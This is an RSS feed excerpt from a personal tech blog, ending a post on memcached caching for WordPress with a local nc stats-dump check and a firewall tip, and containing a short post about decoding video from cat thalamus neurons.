<p>One thing I should also add is make sure that you limit access to your memcached service via firewalls to make sure only your webservers have access to get and set vaules in it.</p>
<h1>Trouble Shooting</h1>
<p>To verify your memcached server is running and storing items properly from wordpress try the following.</p>
<pre>root@vault events]#  echo "stats cachedump 3 100" | nc localhost 11211
ITEM test_15c03fbb2a8143d215b4204a3fec2bc8 [37 b; 1318205585 s]
ITEM test_a0b9d95d725c92d1f886bab92090476d [37 b; 1318205581 s]
ITEM w3tc_ecom-dev.analogrithems.com_1_object_31f40b57771bd6985c9ede7f4d365d81 [10 b; 1318207066 s]
ITEM test_2adea0d314e2e162e5808cf0cf89c93a [37 b; 1318205578 s]
ITEM test_0e9aeb2846e86ee40d7ef87f10983db7 [37 b; 1318205541 s]
ITEM w3tc_ecom-dev.analogrithems.com_1_object_d938afab08d705a5284e70001f04e078 [10 b; 1318207280 s]
ITEM w3tc_ecom-dev.analogrithems.com_object_887ca248c5dc568895f73a2da40408a0 [1 b; 1318207055 s]
ITEM w3tc_ecom-dev.analogrithems.com_1_object_9d8ea174ea710ccf7d1e137da3837713 [1 b; 1318207055 s]
ITEM w3tc_ecom-dev.analogrithems.com_1_object_b490861e41e39835d63036e06aac92ec [1 b; 1318207055 s]
ITEM w3tc_ecom-dev.analogrithems.com_1_object_2c16037bdfdf0b7f39dabc763607beed [1 b; 1318207055 s]
END</pre>
]]></content:encoded>
					
					<wfw:commentRss>https://www.analogrithems.com/rant/how-to-optimize-your-wp-ecommerce-site/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Tapping the brain&#8217;s thalamus to access the video.</title>
		<link>https://www.analogrithems.com/rant/tapping-the-brains-thalamus-to-access-the-video/</link>
					<comments>https://www.analogrithems.com/rant/tapping-the-brains-thalamus-to-access-the-video/#respond</comments>
		
		<dc:creator><![CDATA[analogrithems]]></dc:creator>
		<pubDate>Thu, 22 Sep 2011 20:27:01 +0000</pubDate>
				<category><![CDATA[Cybernetics]]></category>
		<guid isPermaLink="false">http://www.analogrithems.com/rant/?p=638</guid>

					<description><![CDATA[It&#8217;s 2011 and we still don&#8217;t have cyborg implants available.Â  This is a sad state because the technology was being worked on a decade ago.Â  One of the least know studies was done at UC Berkeley by Garrett Stanley, Fei Li and Yang Dan.Â  In their experiment they tapped into the lateral geniculate nucleus of [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>It&#8217;s 2011 and we still don&#8217;t have cyborg implants available.Â  This is a sad state because the technology was being worked on a decade ago.Â  One of the least know studies was done at UC Berkeley by Garrett Stanley, Fei Li and Yang Dan.Â  In their experiment they tapped into the lateral geniculate nucleus of a cat.Â  This is inside the thalamus which is the sensory processing unit of the brain.Â  They used a linear decoding technique to convert the signals coming from 177 cells into actual images.Â  Now the image quality is actually dependant off of how many cells you record from.Â  It&#8217;s a lot like a bit rate concept.Â  The more samples you take, the higher the quality.</p>
<p><a href="http://www.analogrithems.com/rant/wp-content/uploads/2011/09/cat-video.png"><img fetchpriority="high" decoding="async" class="aligncenter size-medium wp-image-654" title="cat-video" src="http://www.analogrithems.com/rant/wp-content/uploads/2011/09/cat-video-300x239.png" alt="" width="444" height="354" srcset="https://www.analogrithems.com/rant/wp-content/uploads/2011/09/cat-video-300x239.png 300w, https://www.analogrithems.com/rant/wp-content/uploads/2011/09/cat-video.png 600w" sizes="(max-width: 444px) 100vw, 444px" /></a></p>
<p>Read the original paper <a href="/rant/wp-content/uploads/2011/09/stanley_dan_1999.pdf">Here</a></p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.analogrithems.com/rant/tapping-the-brains-thalamus-to-access-the-video/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
